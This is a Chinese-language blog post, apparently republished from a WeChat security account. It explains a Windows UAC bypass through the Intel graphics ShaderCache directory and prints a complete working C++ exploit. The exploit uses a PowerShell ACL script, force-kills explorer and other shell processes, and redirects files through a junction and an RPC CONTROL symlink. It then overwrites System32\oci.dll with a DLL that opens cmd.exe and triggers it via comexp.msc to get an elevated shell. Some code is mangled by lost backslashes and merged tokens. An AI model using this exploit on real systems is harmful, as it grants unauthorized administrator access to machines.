我得承认,我的 Discord 服务器启发了我最近对一种新发现的 UAC 绕过方法的研究!😸 我在 Discord 服务器上看到很多关于权限提升的讨论,这让我很想研究一些比较新的 UAC 绕过方法。我说它比较新,是因为……好吧,继续往下读,你很快就会明白的。
闲话少叙,我来教你如何绕过英特尔显卡驱动程序 ShaderCache 目录的 UAC。当你加载 GUI 驱动的程序(例如浏览器、Discord、任务管理器等)时,英特尔显卡驱动程序会使用此目录。如果你有一块英特尔显卡,那你很幸运(当然,如果你是个渗透测试员😜),我想你的电脑上很可能有这个文件夹。
现在你可能会想:“他为什么不披露这个漏洞?” 好问题。我没有披露这个漏洞的原因是,它似乎早在 2019 年就被披露过了,但漏洞仍然存在。为什么?我不确定。但我不会再重复一遍。😛 感兴趣的朋友可以看看原始披露:
原始漏洞披露:https://project-zero.issues.chromium.org/issues/42451089
所以,简而言之,这种 UAC 绕过利用了自动提升权限的进程(例如任务管理器)可以写入目录这一特性。它也是一个目录,其中包含我们拥有管理权限的文件。注意到拥有完全控制权限的 Authenticated Users 组了吗?没错,相信我,我和你一样惊讶!😺 顺便说一句,Guests 组也拥有完全控制权限。我简直不敢相信自己的眼睛!👀
如果您熟悉任意写入 + 连接机制的工作原理,那么这个漏洞利用的大部分内容相当简单。漏洞利用中耗时最长的部分是删除所有正在被使用英特尔显卡驱动程序的进程使用的文件。最终,我根据最初的披露,将所有文件的安全性更改为只读,这样任何进程都无法写入现有文件。以下是我用来更改权限的 Powershell 脚本:
$target = "C:UsersrobbiAppDataLocalLowIntelShaderCache"# 2. Remove inheritance and wipe existing permissionsicacls $target /inheritance:r /Ticacls $target /remove:g "ANONYMOUS LOGON""Guests""Administrators" /T# 3. Grant minimal permissions to the folder and subfolders# (CI) - Container Inherit (subfolders)# (OI) - Object Inherit (files)# This only affects ACL propagationicacls $target /grant:r "Authenticated Users:(OI)(CI)(RX,D)" /T# 4. Explicitly overwrite ACLs on existing files with only (RX,D)Get-ChildItem $target -Recurse -File | ForEach-Object { icacls $_.FullName /inheritance:r icacls $_.FullName /grant:r "Authenticated Users:(RX,D)"}
我遇到的另一个难题是,在使用 生成 TaskManager 后,我无法关闭它taskkill /F。为什么?因为我是普通用户,想终止一个提升权限的进程。但经过进一步研究,我终于找到了解决办法!你可以启动提升权限的进程,并在设定的超时时间后关闭。问题解决了!查看下面的代码片段,了解我的意思:
boolLaunchElevatedProcessWithTimeout(LPCWSTR executable, LPCWSTR parameters, DWORD timeout_ms){ SHELLEXECUTEINFOW sei = { sizeof(sei) }; sei.lpVerb = L"runas"; sei.lpFile = executable; sei.lpParameters = parameters; sei.nShow = SW_SHOWNORMAL; sei.fMask = SEE_MASK_NOCLOSEPROCESS;if (!ShellExecuteExW(&sei)) { DWORD err = GetLastError();std::wcerr << L"Failed to launch elevated process. Error: " << err << std::endl;returnfalse; }if (sei.hProcess != NULL) { DWORD wait_result = WaitForSingleObject(sei.hProcess, timeout_ms);if (wait_result == WAIT_TIMEOUT) {std::wcout << L"Process exceeded timeout, terminating..." << std::endl; TerminateProcess(sei.hProcess, 1); }else {std::wcout << L"Process exited within timeout." << std::endl; } CloseHandle(sei.hProcess); }returntrue;}LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe", L"", 3000);
voidcheckdir(){std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"; WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe", 0); Sleep(500); WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0); WinExec("cmd.exe /c TASKKILL /F /IM sihost.exe", 0); Sleep(500); WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0); WinExec("cmd.exe /c TASKKILL /F /IM ShellHost.exe", 0); Sleep(500); WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0); WinExec("cmd.exe /c TASKKILL /F /IM ApplicationFrameHost.exe", 0); Sleep(500); WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);std::wstring checkEmpty = GetMostRecentFile(dir);if (checkEmpty.empty()) {std::wcerr << L"Good news! No files found in the directory :) Deleting directory and creating the junction!n"; WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", 0); Sleep(1000); }else {std::wcout << L"There are still files...continuing to kill tasks and delete stuff...Remaining file: " << checkEmpty << std::endl; Sleep(1000); checkdir(); }}
std::wstring GetMostRecentFile(conststd::wstring& directoryPath){namespace fs = std::filesystem;std::wstring mostRecentFile; fs::file_time_type latestTime;for (constauto& entry : fs::directory_iterator(directoryPath)) {if (!entry.is_regular_file()) continue;auto ftime = entry.last_write_time();if (mostRecentFile.empty() || ftime > latestTime) { latestTime = ftime; mostRecentFile = entry.path().filename().wstring(); } }return mostRecentFile;}std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";initialcheck = GetMostRecentFile(dir);
砰!至此,我已准备好:
-
将所有文件的权限更改为只读,并创建一个循环来识别并继续终止仍在使用 ShaderCache 目录中文件的所有进程,然后删除目录中的所有文件
-
创建连接点
-
将 TaskManager 写入目录的最新文件重定向到我们配置的目标位置(我很快会展示这一点)
-
覆盖此文件(我使用 copy /F myfile c:/windows/system32/destfile)
-
执行文件并绕过UAC!预告:我复制了一个执行cmd.exe的DLL
我们继续吧?我将继续创建 Junction,如下所示:
voidCreateJunction(LPCWSTR linkDir, LPCWSTR targetDir){ HANDLE hFile; REPARSE_DATA_BUFFER* reparseData; DWORD bytesReturned;size_t targetLength;// Create the directory for the junction if it doesn't exist CreateDirectory(linkDir, NULL);// Open the directory hFile = CreateFile(linkDir, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);if (hFile == INVALID_HANDLE_VALUE) {std::cerr << "Failed to open directory: " << GetLastError() << std::endl;return; } targetLength = wcslen(targetDir) * sizeof(WCHAR); reparseData = (REPARSE_DATA_BUFFER*)malloc(REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);if (!reparseData) {std::cerr << "Failed to allocate memory." << std::endl; CloseHandle(hFile);return; }memset(reparseData, 0, REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12); reparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; reparseData->ReparseDataLength = (USHORT)(targetLength + 12); reparseData->Reserved = 0; reparseData->MountPointReparseBuffer.SubstituteNameOffset = 0; reparseData->MountPointReparseBuffer.SubstituteNameLength = (USHORT)targetLength; reparseData->MountPointReparseBuffer.PrintNameOffset = (USHORT)(targetLength + sizeof(WCHAR)); reparseData->MountPointReparseBuffer.PrintNameLength = 0;memcpy(reparseData->MountPointReparseBuffer.PathBuffer, targetDir, targetLength);// Set the reparse pointif (!DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT, reparseData, REPARSE_DATA_BUFFER_HEADER_SIZE + reparseData->ReparseDataLength, NULL, 0, &bytesReturned, NULL)) {std::cerr << "Failed to set reparse point: " << GetLastError() << std::endl; }else {std::cout << "Junction created successfully." << std::endl; }free(reparseData); CloseHandle(hFile);}// Create the junction CreateJunction(L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", L"\??\GLOBALROOT\RPC CONTROL");std::wifstream inFile(L"c:\users\public\recent.txt");if (inFile) {std::getline(inFile, recentFile); inFile.close();std::wcout << L"Value read from file: " << recentFile << std::endl; }else {std::wcerr << L"Failed to open recent.txtn"; }
BOOL CreateDosDevice(LPCWSTR deviceName, LPCWSTR targetPath){if (DefineDosDevice(DDD_RAW_TARGET_PATH, deviceName, targetPath)) {std::wcout << L"Created DosDevice: " << deviceName << L" -> " << targetPath << std::endl;return TRUE; }else {std::cerr << "Failed to create DosDevice: " << GetLastError() << std::endl;return FALSE; }}std::wstring dosDeviceName = L"Global\GLOBALROOT\RPC CONTROL\" + recentFile;if (CreateDosDevice(dosDeviceName.c_str(), dllTarget.c_str())) {std::wcout << L"Symlink created: " << dosDeviceName << L" -> " << dllTarget << std::endl;}else {std::wcerr << L"CreateDosDevice failed: " << GetLastError() << std::endl;return1;}
最后,我们再次启动 TaskManager 来创建我们计划使用的虚拟文件。文件创建完成后,会发生以下情况:
-
虚拟文件被写入C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\4acae28c94cad7a0b8f78d11fefc67ef3b8cd41ecba3ad1a9da81873fb4c56f8然后重定向到c:\windows\system32\oci.dll
-
我有一个自定义的 oci.dll DLL 文件,我们将使用它。它只是简单地打开 cmd.exe
-
我们复制我的自定义 oci.dll 文件并覆盖 System32 中我们现在可以写入的文件。
-
ComExp.msc(组件服务)使用这个 DLL 文件,因此我们只需运行 comexp.msc,我们的有效负载就会被加载,剩下的就是历史了!
LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe", L"", 3000); WinExec("cmd.exe /c copy /Y c:\myfolder\oci.dll c:\windows\system32\oci.dll", 0); //overwrite dummy file with our file Sleep(3000); WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", 0);std::cout << "Launching admin shell!n"; LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\comexp.msc", L"", 3000); std::cout << "[+] Cleanup: removing oci.dll to prevent unwanted issues with other exe's that want to load itn"; Sleep(1000); WinExec("cmd.exe /c del /F /Q C:\Windows\System32\oci.dll", 0);return0;
#include<windows.h>#include<iostream>#include<filesystem>#include<fstream>#include<string>#include<chrono>#pragma comment(lib, "user32.lib")#define REPARSE_DATA_BUFFER_HEADER_SIZE FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer)typedefstruct _REPARSE_DATA_BUFFER { DWORD ReparseTag; WORD ReparseDataLength; WORD Reserved;union {struct { WORD SubstituteNameOffset; WORD SubstituteNameLength; WORD PrintNameOffset; WORD PrintNameLength; DWORD Flags; WCHAR PathBuffer[1]; } SymbolicLinkReparseBuffer;struct { WORD SubstituteNameOffset; WORD SubstituteNameLength; WORD PrintNameOffset; WORD PrintNameLength; WCHAR PathBuffer[1]; } MountPointReparseBuffer;struct { BYTE DataBuffer[1]; } GenericReparseBuffer; };} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;std::wstring GetMostRecentFile(conststd::wstring& directoryPath){namespace fs = std::filesystem;std::wstring mostRecentFile; fs::file_time_type latestTime;for (constauto& entry : fs::directory_iterator(directoryPath)) {if (!entry.is_regular_file()) continue;auto ftime = entry.last_write_time();if (mostRecentFile.empty() || ftime > latestTime) { latestTime = ftime; mostRecentFile = entry.path().filename().wstring(); } }return mostRecentFile;}voidCreateJunction(LPCWSTR linkDir, LPCWSTR targetDir){ HANDLE hFile; REPARSE_DATA_BUFFER* reparseData; DWORD bytesReturned;size_t targetLength;// Create the directory for the junction if it doesn't exist CreateDirectory(linkDir, NULL);// Open the directory hFile = CreateFile(linkDir, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);if (hFile == INVALID_HANDLE_VALUE) {std::cerr << "Failed to open directory: " << GetLastError() << std::endl;return; } targetLength = wcslen(targetDir) * sizeof(WCHAR); reparseData = (REPARSE_DATA_BUFFER*)malloc(REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);if (!reparseData) {std::cerr << "Failed to allocate memory." << std::endl; CloseHandle(hFile);return; }memset(reparseData, 0, REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12); reparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; reparseData->ReparseDataLength = (USHORT)(targetLength + 12); reparseData->Reserved = 0; reparseData->MountPointReparseBuffer.SubstituteNameOffset = 0; reparseData->MountPointReparseBuffer.SubstituteNameLength = (USHORT)targetLength; reparseData->MountPointReparseBuffer.PrintNameOffset = (USHORT)(targetLength + sizeof(WCHAR)); reparseData->MountPointReparseBuffer.PrintNameLength = 0;memcpy(reparseData->MountPointReparseBuffer.PathBuffer, targetDir, targetLength);// Set the reparse pointif (!DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT, reparseData, REPARSE_DATA_BUFFER_HEADER_SIZE + reparseData->ReparseDataLength, NULL, 0, &bytesReturned, NULL)) {std::cerr << "Failed to set reparse point: " << GetLastError() << std::endl; }else {std::cout << "Junction created successfully." << std::endl; }free(reparseData); CloseHandle(hFile);}BOOL CreateDosDevice(LPCWSTR deviceName, LPCWSTR targetPath){if (DefineDosDevice(DDD_RAW_TARGET_PATH, deviceName, targetPath)) {std::wcout << L"Created DosDevice: " << deviceName << L" -> " << targetPath << std::endl;return TRUE; }else {std::cerr << "Failed to create DosDevice: " << GetLastError() << std::endl;return FALSE; }}boolLaunchElevatedProcessWithTimeout(LPCWSTR executable, LPCWSTR parameters, DWORD timeout_ms){ SHELLEXECUTEINFOW sei = { sizeof(sei) }; sei.lpVerb = L"runas"; sei.lpFile = executable; sei.lpParameters = parameters; sei.nShow = SW_SHOWNORMAL; sei.fMask = SEE_MASK_NOCLOSEPROCESS;if (!ShellExecuteExW(&sei)) { DWORD err = GetLastError();std::wcerr << L"Failed to launch elevated process. Error: " << err << std::endl;returnfalse; }if (sei.hProcess != NULL) { DWORD wait_result = WaitForSingleObject(sei.hProcess, timeout_ms);if (wait_result == WAIT_TIMEOUT) {std::wcout << L"Process exceeded timeout, terminating..." << std::endl; TerminateProcess(sei.hProcess, 1); }else {std::wcout << L"Process exited within timeout." << std::endl; } CloseHandle(sei.hProcess); }returntrue;}voidcheckdir(){std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"; WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe", 0); Sleep(500); WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0); WinExec("cmd.exe /c TASKKILL /F /IM sihost.exe", 0); Sleep(500); WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0); WinExec("cmd.exe /c TASKKILL /F /IM ShellHost.exe", 0); Sleep(500); WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0); WinExec("cmd.exe /c TASKKILL /F /IM ApplicationFrameHost.exe", 0); Sleep(500); WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*", 0);std::wstring checkEmpty = GetMostRecentFile(dir);if (checkEmpty.empty()) {std::wcerr << L"Good news! No files found in the directory :) Deleting directory and creating the junction!n"; WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", 0); Sleep(1000); }else {std::wcout << L"There are still files...continuing to kill tasks and delete stuff...Remaining file: " << checkEmpty << std::endl; Sleep(1000); checkdir(); }}intwmain(){std::cout << "********************************nIMPORTANTn********************************n";std::cout << "Before continuing, make sure ALL Desktop apps with a GUI are closed. This includes browsers, notepad, discord, etcn";std::cout << "The tool is only accounting for built in windows processes that have handles to files in the shadowcache directoryn";std::cout << "Press [ENTER] to continue...n";std::cin.get();std::wstring recentFile, initialcheck;std::wstring dllTarget = L"\??\C:\Windows\System32\oci.dll"; LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe", L"", 3000); std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"; initialcheck = GetMostRecentFile(dir);if (initialcheck.empty()) {std::wcerr << L"Good news! No files found in the directory.n"; }else {std::wcout << L"Most recent file: " << initialcheck << std::endl;// Write to text filestd::wofstream outFile(L"c:\users\public\recent.txt");if (outFile) { outFile << initialcheck; outFile.close(); }else {std::wcerr << L"Failed to write to recent.txtn"; } } WinExec("powershell.exe -ExecutionPolicy Bypass -File c:\users\robbi\Desktop\intel_uacbypass_prep.ps1", 0); Sleep(3000); WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe", 0); Sleep(500); checkdir();// Create the junction CreateJunction(L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", L"\??\GLOBALROOT\RPC CONTROL");std::wifstream inFile(L"c:\users\public\recent.txt");if (inFile) {std::getline(inFile, recentFile); inFile.close();std::wcout << L"Value read from file: " << recentFile << std::endl; }else {std::wcerr << L"Failed to open recent.txtn"; }std::wstring dosDeviceName = L"Global\GLOBALROOT\RPC CONTROL\" + recentFile;if (CreateDosDevice(dosDeviceName.c_str(), dllTarget.c_str())) {std::wcout << L"Symlink created: " << dosDeviceName << L" -> " << dllTarget << std::endl; }else {std::wcerr << L"CreateDosDevice failed: " << GetLastError() << std::endl;return1; } LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe", L"", 3000); WinExec("cmd.exe /c copy /Y c:\myfolder\oci.dll c:\windows\system32\oci.dll", 0); //overwrite dummy file with our file Sleep(3000); WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache", 0);std::cout << "Launching admin shell!n"; LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\comexp.msc", L"", 3000); std::cout << "[+] Cleanup: removing oci.dll to prevent unwanted issues with other exe's that want to load itn"; Sleep(1000); WinExec("cmd.exe /c del /F /Q C:\Windows\System32\oci.dll", 0);return0;}
原文始发于微信公众号(Ots安全):通过英特尔 ShaderCache 目录绕过 UAC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论